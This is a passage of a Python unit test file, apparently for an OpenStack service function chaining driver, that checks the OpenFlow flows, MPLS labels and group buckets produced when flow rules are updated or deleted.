'source_port_range_min': 100, 'destination_ip_prefix': u'10.200.0.0/16', 'protocol': u'tcp', 'l7_parameters': {}, 'source_port_range_max': 100, 'source_ip_prefix': '10.100.0.0/16', 'destination_port_range_min': 100, 'ethertype': 'IPv4', 'destination_port_range_max': 100, }], 'id': uuidutils.generate_uuid(), 'fwd_path': True, 'pc_corr': pc_corr, 'pp_corr': None }, status ) self.assertEqual( [], self.executed_cmds ) def test_update_flow_rules_src_node_next_hops_same_host_add_fcs(self): self._prepare_update_flow_rules_src_node_next_hops_same_host_a( 'mpls', None) self.assertEqual( [{ 'actions': ( 'push_mpls:0x8847,set_mpls_label:65791,' 'set_mpls_ttl:255,mod_vlan_vid:0,,resubmit(,10)'), 'dl_dst': '12:34:56:78:cf:23', 'dl_type': 2048, 'priority': 0, 'table': 5 }, { 'actions': 'group:1', 'dl_type': 2048, 'in_port': 42, 'nw_dst': u'10.200.0.0/16', 'nw_proto': 6, 'nw_src': '10.100.0.0/16', 'priority': 30, 'table': 0, 'tp_dst': '0x64/0xffff', 'tp_src': '0x64/0xffff' }], self.added_flows ) self.assertEqual( { 1: { 'buckets': ( 'bucket=weight=1, ' 'mod_dl_dst:12:34:56:78:cf:23, ' 'resubmit(,5)' ), 'group_id': 1, 'type': 'select' } }, self.group_mapping ) def test_update_flow_rules_src_node_next_hops_same_host_a_no_proxy(self): self._prepare_update_flow_rules_src_node_next_hops_same_host_a( 'mpls', 'mpls') self.assertEqual( [{ 'actions': ( 'mod_vlan_vid:0,,resubmit(,10)'), 'dl_dst': '12:34:56:78:cf:23', 'dl_type': 34887, 'priority': 0, 'table': 5 }, { 'actions': 'push_mpls:0x8847,set_mpls_label:65791,' 'set_mpls_ttl:255,group:1', 'dl_type': 2048, 'in_port': 42, 'nw_dst': u'10.200.0.0/16', 'nw_proto': 6, 'nw_src': '10.100.0.0/16', 'priority': 30, 'table': 0, 'tp_dst': '0x64/0xffff', 'tp_src': '0x64/0xffff' }], self.added_flows ) self.assertEqual( { 1: { 'buckets': ( 'bucket=weight=1, ' 'mod_dl_dst:12:34:56:78:cf:23, ' 'resubmit(,5)' ), 'group_id': 1, 'type': 'select' } }, self.group_mapping ) def _prepare_update_flow_rules_sf_node_next_hops_add_fcs(self, pc_corr, pp_corr, pp_corr_nh): self.port_mapping = { '8768d2b3-746d-4868-ae0e-e81861c2b4e6': { 'port_name': 'port1', 'ofport': 6, 'vif_mac': '00:01:02:03:05:07', }, '29e38fb2-a643-43b1-baa8-a86596461cd5': { 'port_name': 'port2', 'ofport': 42, 'vif_mac': '00:01:02:03:06:08', }, '6331a00d-779b-462b-b0e4-6a65aa3164ef': { 'port_name': 'port1', 'ofport': 6, 'vif_mac': '00:01:02:03:05:07', }, } status = [] self.sfc_driver.update_flow_rules( { 'nsi': 255, 'ingress': '6331a00d-779b-462b-b0e4-6a65aa3164ef', 'next_hops': [{ 'local_endpoint': '10.0.0.2', 'ingress': '8768d2b3-746d-4868-ae0e-e81861c2b4e6', 'weight': 1, 'net_uuid': '8768d2b3-746d-4868-ae0e-e81861c2b4e7', 'network_type': 'vxlan', 'segment_id': 33, 'gw_mac': '00:01:02:03:06:09', 'cidr': '10.0.0.0/8', 'in_mac_address': '12:34:56:78:cf:23', 'pp_corr': pp_corr_nh }], 'del_fcs': [], 'group_refcnt': 1, 'node_type': 'sf_node', 'egress': '29e38fb2-a643-43b1-baa8-a86596461cd5', 'next_group_id': 1, 'nsp': 256, 'add_fcs': [{ 'source_port_range_min': 100, 'destination_ip_prefix': u'10.200.0.0/16', 'protocol': u'tcp', 'l7_parameters': {}, 'source_port_range_max': 100, 'source_ip_prefix': '10.100.0.0/16', 'destination_port_range_min': 100, 'ethertype': 'IPv4', 'destination_port_range_max': 100, }], 'id': uuidutils.generate_uuid(), 'fwd_path': True, 'pc_corr': pc_corr, 'pp_corr': pp_corr }, status ) self.assertEqual( [], self.executed_cmds ) def test_update_flow_rules_sf_node_next_hops_add_fcs(self): self._prepare_update_flow_rules_sf_node_next_hops_add_fcs('mpls', None, None) self.assertEqual( [{ 'actions': ( 'push_mpls:0x8847,set_mpls_label:65791,' 'set_mpls_ttl:255,mod_vlan_vid:0,,output:2'), 'dl_dst': '12:34:56:78:cf:23', 'dl_type': 2048, 'priority': 0, 'table': 5 }, { 'actions': 'group:1', 'dl_type': 2048, 'in_port': 42, 'nw_dst': u'10.200.0.0/16', 'nw_proto': 6, 'nw_src': '10.100.0.0/16', 'priority': 30, 'table': 0, 'tp_dst': '0x64/0xffff', 'tp_src': '0x64/0xffff' }, { 'actions': 'strip_vlan, pop_mpls:0x0800,output:6', 'dl_dst': '00:01:02:03:05:07', 'dl_type': 34887, 'dl_vlan': 0, 'mpls_label': 65792, 'priority': 1, 'table': 10 }], self.added_flows ) self.assertEqual( { 1: { 'buckets': ( 'bucket=weight=1, ' 'mod_dl_dst:12:34:56:78:cf:23, ' 'resubmit(,5)' ), 'group_id': 1, 'type': 'select' } }, self.group_mapping ) def test_update_flow_rules_sf_node_next_hops_add_fcs_nh(self): self._prepare_update_flow_rules_sf_node_next_hops_add_fcs('mpls', None, 'mpls') self.assertEqual( [{ 'actions': ( 'mod_vlan_vid:0,,output:2'), 'dl_dst': '12:34:56:78:cf:23', 'dl_type': 34887, 'priority': 0, 'table': 5 }, { 'actions': 'push_mpls:0x8847,set_mpls_label:65791,' 'set_mpls_ttl:255,group:1', 'dl_type': 2048, 'in_port': 42, 'nw_dst': u'10.200.0.0/16', 'nw_proto': 6, 'nw_src': '10.100.0.0/16', 'priority': 30, 'table': 0, 'tp_dst': '0x64/0xffff', 'tp_src': '0x64/0xffff' }, { 'actions': 'strip_vlan, pop_mpls:0x0800,output:6', 'dl_dst': '00:01:02:03:05:07', 'dl_type': 34887, 'dl_vlan': 0, 'mpls_label': 65792, 'priority': 1, 'table': 10 }], self.added_flows ) self.assertEqual( { 1: { 'buckets': ( 'bucket=weight=1, ' 'mod_dl_dst:12:34:56:78:cf:23, ' 'resubmit(,5)' ), 'group_id': 1, 'type': 'select' } }, self.group_mapping ) def test_update_flowrules_srcnode_no_nexthops_add_del_fcs_symmetric(self): self.port_mapping = { '8768d2b3-746d-4868-ae0e-e81861c2b4e6': { 'port_name': 'src_port', 'ofport': 32, 'vif_mac': '00:01:02:03:05:07', }, '29e38fb2-a643-43b1-baa8-a86596461cd5': { 'port_name': 'dst_port', 'ofport': 42, 'vif_mac': '00:01:02:03:06:08', } } for flow_rule in self.node_flowrules: if flow_rule['fwd_path']: status = [] self.agent.update_flow_rules( { 'nsi': 255, 'ingress': None, 'next_hops': None, 'del_fcs': [{ 'source_port_range_min': 100, 'destination_ip_prefix': u'10.200.0.0/16', 'protocol': u'tcp', 'l7_parameters': {}, 'source_port_range_max': 100, 'source_ip_prefix': u'10.100.0.0/16', 'destination_port_range_min': 100, 'ethertype': u'IPv4', 'destination_port_range_max': 100, }], 'group_refcnt': 1, 'node_type': 'src_node', 'egress': u'29e38fb2-a643-43b1-baa8-a86596461cd5', 'next_group_id': None, 'nsp': 256, 'add_fcs': [{ 'source_port_range_min': 100, 'destination_ip_prefix': u'10.200.0.0/16', 'protocol': u'tcp', 'l7_parameters': {}, 'source_port_range_max': 100, 'source_ip_prefix': u'10.100.0.0/16', 'destination_port_range_min': 100, 'ethertype': u'IPv4', 'destination_port_range_max': 100, }], 'id': uuidutils.generate_uuid(), 'fwd_path': True }, status ) self.assertEqual( [], self.executed_cmds ) self.assertEqual( [{ 'actions': 'normal', 'dl_type': 2048, 'in_port': 42, 'nw_dst': u'10.200.0.0/16', 'nw_proto': 6, 'nw_src': u'10.100.0.0/16', 'priority': 30, 'table': 0, 'tp_dst': '0x64/0xffff', 'tp_src': '0x64/0xffff' }], self.added_flows ) self.assertEqual( [{ 'dl_type': 2048, 'in_port': 42, 'nw_dst': u'10.200.0.0/16', 'nw_proto': 6, 'nw_src': u'10.100.0.0/16', 'table': 0, 'tp_dst': '0x64/0xffff', 'tp_src': '0x64/0xffff' }], self.deleted_flows ) self.assertEqual( {}, self.group_mapping ) else: status = [] self.agent.update_flow_rules( { 'nsi': 255, 'ingress': None, 'next_hops': None, 'del_fcs': [{ 'source_port_range_min': 100, 'destination_ip_prefix': u'10.100.0.0/16', 'protocol': u'tcp', 'l7_parameters': {}, 'source_port_range_max': 100, 'source_ip_prefix': u'10.200.0.0/16', 'destination_port_range_min': 100, 'ethertype': u'IPv4', 'destination_port_range_max': 100, }], 'group_refcnt': 1, 'node_type': 'src_node', 'egress': u'8768d2b3-746d-4868-ae0e-e81861c2b4e6', 'next_group_id': None, 'nsp': 256, 'add_fcs': [{ 'source_port_range_min': 100, 'destination_ip_prefix': u'10.100.0.0/16', 'protocol': u'tcp', 'l7_parameters': {}, 'source_port_range_max': 100, 'source_ip_prefix': u'10.200.0.0/16', 'destination_port_range_min': 100, 'ethertype': u'IPv4', 'destination_port_range_max': 100, }], 'id': uuidutils.generate_uuid(), 'fwd_path': False }, status ) self.assertEqual( [], self.executed_cmds ) self.assertEqual( [{ 'actions': 'normal', 'dl_type': 2048, 'in_port': 32, 'nw_dst': u'10.100.0.0/16', 'nw_proto': 6, 'nw_src': u'10.200.0.0/16', 'priority': 30, 'table': 0, 'tp_dst': '0x64/0xffff', 'tp_src': '0x64/0xffff' }], self.added_flows ) self.assertEqual( [{ 'dl_type': 2048, 'in_port': 32, 'nw_dst': u'10.100.0.0/16', 'nw_proto': 6, 'nw_src': u'10.200.0.0/16', 'table': 0, 'tp_dst': '0x64/0xffff', 'tp_src': '0x64/0xffff', 'strict': True, }], self.deleted_flows ) self.assertEqual( {}, self.group_mapping ) def _test_update_flow_rules_sf_node_next_hops_add_fcs_no_proxy(self, pp_corr_nh): self._prepare_update_flow_rules_sf_node_next_hops_add_fcs('mpls', 'mpls', pp_corr_nh) self.assertEqual( [{ 'actions': ( 'mod_vlan_vid:0,,output:2'), 'dl_dst': '12:34:56:78:cf:23', 'dl_type': 34887, 'priority': 0, 'table': 5 }, { 'actions': 'group:1', 'dl_type': 34887, 'in_port': 42, 'mpls_label': 65791, 'priority': 30, 'table': 0 }, { 'actions': 'strip_vlan, output:6', 'dl_dst': '00:01:02:03:05:07', 'dl_type': 34887, 'dl_vlan': 0, 'mpls_label': 65792, 'priority': 1, 'table': 10 }], self.added_flows ) self.assertEqual( { 1: { 'buckets': ( 'bucket=weight=1, ' 'mod_dl_dst:12:34:56:78:cf:23, ' 'resubmit(,5)' ), 'group_id': 1, 'type': 'select' } }, self.group_mapping ) def test_update_flow_rules_sf_node_next_hops_add_fcs_no_proxy(self): self._test_update_flow_rules_sf_node_next_hops_add_fcs_no_proxy(None) def test_update_flow_rules_sf_node_next_hops_add_fcs_no_proxy_nh(self): self._test_update_flow_rules_sf_node_next_hops_add_fcs_no_proxy('mpls') def _prepare_update_flow_rules_sf_node_next_hops_same_host_add_fcs( self, pc_corr, pp_corr, pp_corr_nh): self.port_mapping = { '8768d2b3-746d-4868-ae0e-e81861c2b4e6': { 'port_name': 'port1', 'ofport': 6, 'vif_mac': '00:01:02:03:05:07', }, '29e38fb2-a643-43b1-baa8-a86596461cd5': { 'port_name': 'port2', 'ofport': 42, 'vif_mac': '00:01:02:03:06:08', }, '6331a00d-779b-462b-b0e4-6a65aa3164ef': { 'port_name': 'port1', 'ofport': 6, 'vif_mac': '00:01:02:03:05:07', }, } status = [] self.sfc_driver.update_flow_rules( { 'nsi': 255, 'ingress': '6331a00d-779b-462b-b0e4-6a65aa3164ef', 'next_hops': [{ 'local_endpoint': '10.0.0.1', 'ingress': '8768d2b3-746d-4868-ae0e-e81861c2b4e6', 'weight': 1, 'net_uuid': '8768d2b3-746d-4868-ae0e-e81861c2b4e7', 'network_type': 'vxlan', 'segment_id': 33, 'gw_mac': '00:01:02:03:06:09', 'cidr': '10.0.0.0/8', 'in_mac_address': '12:34:56:78:cf:23', 'pp_corr': pp_corr_nh }], 'del_fcs': [], 'group_refcnt': 1, 'node_type': 'sf_node', 'egress': '29e38fb2-a643-43b1-baa8-a86596461cd5', 'next_group_id': 1, 'nsp': 256, 'add_fcs': [{ 'source_port_range_min': 100, 'destination_ip_prefix': u'10.200.0.0/16', 'protocol': u'tcp', 'l7_parameters': {}, 'source_port_range_max': 100, 'source_ip_prefix': '10.100.0.0/16', 'destination_port_range_min': 100, 'ethertype': 'IPv4', 'destination_port_range_max': 100, }], 'pc_corr': pc_corr, 'pp_corr': pp_corr, 'id': uuidutils.generate_uuid(), 'fwd_path': True }, status ) self.assertEqual( [], self.executed_cmds ) def test_update_flow_rules_sf_node_next_hops_same_host_add_fcs(self): self._prepare_update_flow_rules_sf_node_next_hops_same_host_add_fcs( 'mpls', None, None) self.assertEqual( [{ 'actions': ( 'push_mpls:0x8847,set_mpls_label:65791,set_mpls_ttl:255,' 'mod_vlan_vid:0,,resubmit(,10)'), 'dl_dst': '12:34:56:78:cf:23', 'dl_type': 2048, 'priority': 0, 'table': 5 }, { 'actions': 'group:1', 'dl_type': 2048, 'in_port': 42, 'nw_dst': u'10.200.0.0/16', 'nw_proto': 6, 'nw_src': '10.100.0.0/16', 'priority': 30, 'table': 0, 'tp_dst': '0x64/0xffff', 'tp_src': '0x64/0xffff' }, { 'actions': 'strip_vlan, pop_mpls:0x0800,output:6', 'dl_dst': '00:01:02:03:05:07', 'dl_type': 34887, 'dl_vlan': 0, 'mpls_label': 65792, 'priority': 1, 'table': 10 }], self.added_flows ) self.assertEqual( { 1: { 'buckets': ( 'bucket=weight=1, ' 'mod_dl_dst:12:34:56:78:cf:23, ' 'resubmit(,5)' ), 'group_id': 1, 'type': 'select' } }, self.group_mapping ) def test_update_flow_rules_sf_node_next_hops_same_host_add_fcs_nh(self): self._prepare_update_flow_rules_sf_node_next_hops_same_host_add_fcs( 'mpls', None, 'mpls') self.assertEqual( [{ 'actions': ( 'mod_vlan_vid:0,,resubmit(,10)'), 'dl_dst': '12:34:56:78:cf:23', 'dl_type': 34887, 'priority': 0, 'table': 5 }, { 'actions': 'push_mpls:0x8847,set_mpls_label:65791,' 'set_mpls_ttl:255,group:1', 'dl_type': 2048, 'in_port': 42, 'nw_dst': u'10.200.0.0/16', 'nw_proto': 6, 'nw_src': '10.100.0.0/16', 'priority': 30, 'table': 0, 'tp_dst': '0x64/0xffff', 'tp_src': '0x64/0xffff' }, { 'actions': 'strip_vlan, pop_mpls:0x0800,output:6', 'dl_dst': '00:01:02:03:05:07', 'dl_type': 34887, 'dl_vlan': 0, 'mpls_label': 65792, 'priority': 1, 'table': 10 }], self.added_flows ) self.assertEqual( { 1: { 'buckets': ( 'bucket=weight=1, ' 'mod_dl_dst:12:34:56:78:cf:23, ' 'resubmit(,5)' ), 'group_id': 1, 'type': 'select' } }, self.group_mapping ) def _test_update_flow_rules_sf_node_next_hops_same_h_a_no_proxy(self, pp_c_nh): self._prepare_update_flow_rules_sf_node_next_hops_same_host_add_fcs( 'mpls', 'mpls', pp_c_nh) self.assertEqual( [{ 'actions': ( 'mod_vlan_vid:0,,resubmit(,10)'), 'dl_dst': '12:34:56:78:cf:23', 'dl_type': 34887, 'priority': 0, 'table': 5 }, { 'actions': 'group:1', 'dl_type': 34887, 'in_port': 42, 'mpls_label': 65791, 'priority': 30, 'table': 0 }, { 'actions': 'strip_vlan, output:6', 'dl_dst': '00:01:02:03:05:07', 'dl_type': 34887, 'dl_vlan': 0, 'mpls_label': 65792, 'priority': 1, 'table': 10 }], self.added_flows ) self.assertEqual( { 1: { 'buckets': ( 'bucket=weight=1, ' 'mod_dl_dst:12:34:56:78:cf:23, ' 'resubmit(,5)' ), 'group_id': 1, 'type': 'select' } }, self.group_mapping ) def test_update_flow_rules_sf_node_next_hops_same_h_a_no_proxy(self): self._test_update_flow_rules_sf_node_next_hops_same_h_a_no_proxy(None) def test_update_flow_rules_sf_node_next_hops_same_h_a_no_proxy_nh(self): self._test_update_flow_rules_sf_node_next_hops_same_h_a_no_proxy( 'mpls' ) def _prepare_update_flow_rules_sf_node_many_hops_all_mpls(self, pp_corr): self.port_mapping = { '8768d2b3-746d-4868-ae0e-e81861c2b4e6': { 'port_name': 'port1', 'ofport': 6, 'vif_mac': '00:01:02:03:05:07', }, '1234d2b3-746d-4868-ae0e-e81861c25678': { 'port_name': 'port3', 'ofport': 9, 'vif_mac': '00:01:02:0a:0b:0c', }, '29e38fb2-a643-43b1-baa8-a86596461cd5': { 'port_name': 'port2', 'ofport': 42, 'vif_mac': '00:01:02:03:06:08', }, '6331a00d-779b-462b-b0e4-6a65aa3164ef': { 'port_name': 'port1', 'ofport': 6, 'vif_mac': '00:01:02:03:05:07', }, } status = [] self.sfc_driver.update_flow_rules( { 'nsi': 255, 'ingress': '6331a00d-779b-462b-b0e4-6a65aa3164ef', 'next_hops': [{ 'local_endpoint': '10.0.0.1', 'ingress': '8768d2b3-746d-4868-ae0e-e81861c2b4e6', 'weight': 1, 'net_uuid': '8768d2b3-746d-4868-ae0e-e81861c2b4e7', 'network_type': 'vxlan', 'segment_id': 33, 'gw_mac': '00:01:02:03:06:09', 'cidr': '10.0.0.0/8', 'in_mac_address': '12:34:56:78:cf:23', 'pp_corr': 'mpls' }, { 'local_endpoint': '10.0.0.1', 'ingress': '1234d2b3-746d-4868-ae0e-e81861c25678', 'weight': 1, 'net_uuid': '1234d2b3-746d-4868-ae0e-e81861c25678', 'network_type': 'vxlan', 'segment_id': 33, 'gw_mac': '00:01:02:03:06:09', 'cidr': '10.0.0.0/8', 'in_mac_address': '12:34:56:78:ab:cd', 'pp_corr': 'mpls' }], 'del_fcs': [], 'group_refcnt': 1, 'node_type': 'sf_node', 'egress': '29e38fb2-a643-43b1-baa8-a86596461cd5', 'next_group_id': 1, 'nsp': 256, 'add_fcs': [{ 'source_port_range_min': 100, 'destination_ip_prefix': u'10.200.0.0/16', 'protocol': u'tcp', 'l7_parameters': {}, 'source_port_range_max': 100, 'source_ip_prefix': '10.100.0.0/16', 'destination_port_range_min': 100, 'ethertype': 'IPv4', 'destination_port_range_max': 100, }], 'pc_corr': 'mpls', 'pp_corr': pp_corr, 'id': uuidutils.generate_uuid(), 'fwd_path': True }, status ) self.assertEqual( [], self.executed_cmds ) def _assert_update_flow_rules_sf_node_many_hops_no_proxy(self): self.assertEqual( [{ 'actions': ( 'mod_vlan_vid:0,,resubmit(,10)'), 'dl_dst': '12:34:56:78:cf:23', 'dl_type': 34887, 'priority': 0, 'table': 5 }, { 'actions': ( 'mod_vlan_vid:0,,resubmit(,10)'), 'dl_dst': '12:34:56:78:ab:cd', 'dl_type': 34887, 'priority': 0, 'table': 5 }, { 'actions': 'group:1', 'dl_type': 34887, 'in_port': 42, 'mpls_label': 65791, 'priority': 30, 'table': 0 }, { 'actions': 'strip_vlan, output:6', 'dl_dst': '00:01:02:03:05:07', 'dl_type': 34887, 'dl_vlan': 0, 'mpls_label': 65792, 'priority': 1, 'table': 10 }], self.added_flows ) self.assertEqual( { 1: { 'buckets': ( 'bucket=weight=1, ' 'mod_dl_dst:12:34:56:78:cf:23, ' 'resubmit(,5),' 'bucket=weight=1, ' 'mod_dl_dst:12:34:56:78:ab:cd, ' 'resubmit(,5)' ), 'group_id': 1, 'type': 'select' } }, self.group_mapping ) def test_update_flow_rules_sf_node_many_hops_all_mpls_no_proxy(self): self._prepare_update_flow_rules_sf_node_many_hops_all_mpls('mpls') self._assert_update_flow_rules_sf_node_many_hops_no_proxy() def test_update_flow_rules_sf_node_many_hops_all_mpls(self): self._prepare_update_flow_rules_sf_node_many_hops_all_mpls(None) self.assertEqual( [{ 'actions': ( 'mod_vlan_vid:0,,resubmit(,10)'), 'dl_dst': '12:34:56:78:cf:23', 'dl_type': 34887, 'priority': 0, 'table': 5 }, { 'actions': ( 'mod_vlan_vid:0,,resubmit(,10)'), 'dl_dst': '12:34:56:78:ab:cd', 'dl_type': 34887, 'priority': 0, 'table': 5 }, { 'actions': 'push_mpls:0x8847,set_mpls_label:65791,' 'set_mpls_ttl:255,group:1', 'dl_type': 2048, 'in_port': 42, 'nw_dst': u'10.200.0.0/16', 'nw_proto': 6, 'nw_src': '10.100.0.0/16', 'priority': 30, 'table': 0, 'tp_dst': '0x64/0xffff', 'tp_src': '0x64/0xffff' }, { 'actions': 'strip_vlan, pop_mpls:0x0800,output:6', 'dl_dst': '00:01:02:03:05:07', 'dl_type': 34887, 'dl_vlan': 0, 'mpls_label': 65792, 'priority': 1, 'table': 10 }], self.added_flows ) self.assertEqual( { 1: { 'buckets': ( 'bucket=weight=1, ' 'mod_dl_dst:12:34:56:78:cf:23, ' 'resubmit(,5),' 'bucket=weight=1, ' 'mod_dl_dst:12:34:56:78:ab:cd, ' 'resubmit(,5)' ), 'group_id': 1, 'type': 'select' } }, self.group_mapping ) def _prepare_delete_flow_rules_sf_node_empty_del_fcs(self, pc_corr, pp_corr): self.port_mapping = { 'dd7374b9-a6ac-4a66-a4a6-7d3dee2a1579': { 'port_name': 'src_port', 'ofport': 6, 'vif_mac': '00:01:02:03:05:07', }, '2f1d2140-42ce-4979-9542-7ef25796e536': { 'port_name': 'dst_port', 'ofport': 42, 'vif_mac': '00:01:02:03:06:08', } } status = [] self.sfc_driver.delete_flow_rule( { 'nsi': 254, 'ingress': u'dd7374b9-a6ac-4a66-a4a6-7d3dee2a1579', 'next_hops': None, 'del_fcs': [], 'group_refcnt': 1, 'node_type': 'sf_node', 'egress': u'2f1d2140-42ce-4979-9542-7ef25796e536', 'next_group_id': None, 'nsp': 256, 'add_fcs': [], 'id': uuidutils.generate_uuid(), 'fwd_path': True, 'pc_corr': pc_corr, 'pp_corr': pp_corr }, status ) self.assertEqual( [], self.executed_cmds ) def test_delete_flow_rules_sf_node_empty_del_fcs(self): self._prepare_delete_flow_rules_sf_node_empty_del_fcs('mpls', None) self.assertEqual( [{ 'dl_dst': '00:01:02:03:05:07', 'dl_type': 34887, 'mpls_label': 65791, 'table': 10 }], self.deleted_flows ) self.assertEqual( [], self.deleted_groups ) def test_delete_flow_rules_sf_node_empty_del_fcs_no_proxy(self): self._prepare_delete_flow_rules_sf_node_empty_del_fcs('mpls', 'mpls') self.assertEqual( [{ 'dl_dst': '00:01:02:03:05:07', 'dl_type': 34887, 'mpls_label': 65791, 'table': 10 }], self.deleted_flows ) self.assertEqual( [], self.deleted_groups ) def _prepare_delete_flow_rules_src_node_empty_del_fcs(self, pc_corr, pp_corr): self.port_mapping = { 'dd7374b9-a6ac-4a66-a4a6-7d3dee2a1579': { 'port_name': 'src_port', 'ofport': 6, 'vif_mac': '00:01:02:03:05:07', }, '2f1d2140-42ce-4979-9542-7ef25796e536': { 'port_name': 'dst_port', 'ofport': 42, 'vif_mac': '00:01:02:03:06:08', } } status = [] self.sfc_driver.delete_flow_rule( { 'nsi': 254, 'ingress': None, 'next_hops': None, 'del_fcs': [], 'group_refcnt': 1, 'node_type': 'sf_node', 'egress': u'2f1d2140-42ce-4979-9542-7ef25796e536', 'next_group_id': None, 'nsp': 256, 'add_fcs': [], 'id': uuidutils.generate_uuid(), 'fwd_path': True, 'pc_corr': pc_corr, 'pp_corr': pp_corr }, status ) self.assertEqual( [], self.executed_cmds ) def _test_delete_flow_rules_src_node_empty_del_fcs(self, pc_corr, pp_corr): self._prepare_delete_flow_rules_src_node_empty_del_fcs(pc_corr, pp_corr) self.assertEqual( [], self.deleted_flows ) self.assertEqual( [], self.deleted_groups ) def test_delete_flow_rules_src_node_empty_del_fcs(self): self._test_delete_flow_rules_src_node_empty_del_fcs('mpls', None) def test_delete_flow_rules_src_node_empty_del_fcs_no_proxy(self): self._test_delete_flow_rules_src_node_empty_del_fcs('mpls', 'mpls') def _prepare_delete_flow_rules_sf_node_del_fcs(self, pc_corr, pp_corr): self.port_mapping = { 'dd7374b9-a6ac-4a66-a4a6-7d3dee2a1579': { 'port_name': 'src_port', 'ofport': 6, 'vif_mac': '00:01:02:03:05:07', }, '2f1d2140-42ce-4979-9542-7ef25796e536': { 'port_name': 'dst_port', 'ofport': 42, 'vif_mac': '00:01:02:03:06:08', } } status = [] self.sfc_driver.delete_flow_rule( { 'nsi': 254, 'ingress': u'dd7374b9-a6ac-4a66-a4a6-7d3dee2a1579', 'next_hops': None, 'del_fcs': [{ 'source_port_range_min': 100, 'destination_ip_prefix': u'10.200.0.0/16', 'protocol': u'tcp', 'l7_parameters': {}, 'source_port_range_max': 100, 'source_ip_prefix': '10.100.0.0/16', 'destination_port_range_min': 100, 'ethertype': 'IPv4', 'destination_port_range_max': 100, }], 'group_refcnt': 1, 'node_type': 'sf_node', 'egress': u'2f1d2140-42ce-4979-9542-7ef25796e536', 'next_group_id': None, 'nsp': 256, 'add_fcs': [], 'id': uuidutils.generate_uuid(), 'fwd_path': True, 'pc_corr': pc_corr, 'pp_corr': pp_corr }, status ) self.assertEqual( [], self.executed_cmds ) def test_delete_flow_rules_sf_node_del_fcs(self): self._prepare_delete_flow_rules_sf_node_del_fcs('mpls', None) self.assertEqual( [{ 'dl_type': 2048, 'in_port': 42, 'nw_dst': u'10.200.0.0/16', 'nw_proto': 6, 'nw_src': '10.100.0.0/16', 'priority': 30, 'table': 0, 'tp_dst': '0x64/0xffff', 'tp_src': '0x64/0xffff', 'strict': True, }, { 'dl_dst': '00:01:02:03:05:07', 'dl_type': 34887, 'mpls_label': 65791, 'table': 10 }], self.deleted_flows ) self.assertEqual( [], self.deleted_groups ) def test_delete_flow_rules_sf_node_del_fcs_no_proxy(self): self._prepare_delete_flow_rules_sf_node_del_fcs('mpls', 'mpls') self.assertEqual( [{ 'dl_type': 34887, 'in_port': 42, 'mpls_label': 65790, 'priority': 30, 'table': 0, 'strict': True, }, { 'dl_dst': '00:01:02:03:05:07', 'dl_type': 34887, 'mpls_label': 65791, 'table': 10 }], self.deleted_flows ) self.assertEqual( [], self.deleted_groups ) def _prepare_delete_flow_rules_src_node_del_fcs(self, pc_corr, pp_corr): self.port_mapping = { 'dd7374b9-a6ac-4a66-a4a6-7d3dee2a1579': { 'port_name': 'src_port', 'ofport': 6, 'vif_mac': '00:01:02:03:05:07', }, '2f1d2140-42ce-4979-9542-7ef25796e536': { 'port_name': 'dst_port', 'ofport': 42, 'vif_mac': '00:01:02:03:06:08', } } status = [] self.sfc_driver.delete_flow_rule( { 'nsi': 254, 'ingress': None, 'next_hops': None, 'del_fcs': [{ 'source_port_range_min': 100, 'destination_ip_prefix': u'10.200.0.0/16', 'protocol': u'tcp', 'l7_parameters': {}, 'source_port_range_max': 100, 'source_ip_prefix': '10.100.0.0/16', 'destination_port_range_min': 100, 'ethertype': 'IPv4', 'destination_port_range_max': 100, }], 'group_refcnt': 1, 'node_type': 'src_node', 'egress': u'2f1d2140-42ce-4979-9542-7ef25796e536', 'next_group_id': None, 'nsp': 256, 'add_fcs': [], 'id': uuidutils.generate_uuid(), 'fwd_path': True, 'pc_corr': pc_corr, 'pp_corr': pp_corr }, status ) self.assertEqual( [], self.executed_cmds ) def _test_delete_flow_rules_src_node_del_fcs(self, pc_corr, pp_corr): self._prepare_delete_flow_rules_src_node_del_fcs(pc_corr, pp_corr) self.assertEqual( [{ 'dl_type': 2048, 'in_port': 42, 'nw_dst': u'10.200.0.0/16', 'nw_proto': 6, 'nw_src': '10.100.0.0/16', 'priority': 30, 'table': 0, 'tp_dst': '0x64/0xffff', 'tp_src': '0x64/0xffff', 'strict': True, }], self.deleted_flows ) self.assertEqual( [], self.deleted_groups ) def test_delete_flow_rules_src_node_del_fcs(self): self._test_delete_flow_rules_src_node_del_fcs('mpls', None) def test_delete_flow_rules_src_node_del_fcs_no_proxy(self): self._test_delete_flow_rules_src_node_del_fcs('mpls', 'mpls') def _prepare_delete_flow_rules_src_node_next_hops_del_fcs(self, pc_corr, pp_corr, pp_corr_nh): self.port_mapping = { '8768d2b3-746d-4868-ae0e-e81861c2b4e6': { 'port_name': 'port1', 'ofport': 6, 'vif_mac': '00:01:02:03:05:07', }, '29e38fb2-a643-43b1-baa8-a86596461cd5': { 'port_name': 'port2', 'ofport': 42, 'vif_mac': '00:01:02:03:06:08', } } status = [] self.sfc_driver.delete_flow_rule( { 'nsi': 255, 'ingress': None, 'next_hops': [{ 'net_uuid': '8768d2b3-746d-4868-ae0e-e81861c2b4e7', 'network_type': 'vxlan', 'segment_id': 33, 'gw_mac': '00:01:02:03:06:09', 'cidr': '10.0.0.0/8', 'local_endpoint': '10.0.0.2', 'ingress': '8768d2b3-746d-4868-ae0e-e81861c2b4e6', 'weight': 1, 'in_mac_address': '12:34:56:78:cf:23', 'pp_corr': pp_corr_nh }], 'add_fcs': [], 'group_refcnt': 1, 'node_type': 'src_node', 'egress': '29e38fb2-a643-43b1-baa8-a86596461cd5', 'next_group_id': 1, 'nsp': 256, 'del_fcs': [{ 'source_port_range_min': 100, 'destination_ip_prefix': u'10.200.0.0/16', 'protocol': u'tcp', 'l7_parameters': {}, 'source_port_range_max': 100, 'source_ip_prefix': '10.100.0.0/16', 'destination_port_range_min': 100, 'ethertype': 'IPv4', 'destination_port_range_max': 100, }], 'id': uuidutils.generate_uuid(), 'fwd_path': True, 'pc_corr': pc_corr, 'pp_corr': pp_corr }, status ) self.assertEqual( [], self.executed_cmds ) def _test_delete_flow_rules_src_node_next_hops_del_fcs(self, pc_corr, pp_corr, pp_corr_nh): self._prepare_delete_flow_rules_src_node_next_hops_del_fcs(pc_corr, pp_corr, pp_corr_nh) self.assertEqual( [{ 'dl_type': 2048, 'in_port': 42, 'nw_dst': u'10.200.0.0/16', 'nw_proto': 6, 'nw_src': '10.100.0.0/16', 'priority': 30, 'table': 0, 'tp_dst': '0x64/0xffff', 'tp_src': '0x64/0xffff', 'strict': True, }, { 'dl_dst': '12:34:56:78:cf:23', 'table': 5 }], self.deleted_flows ) self.assertEqual( 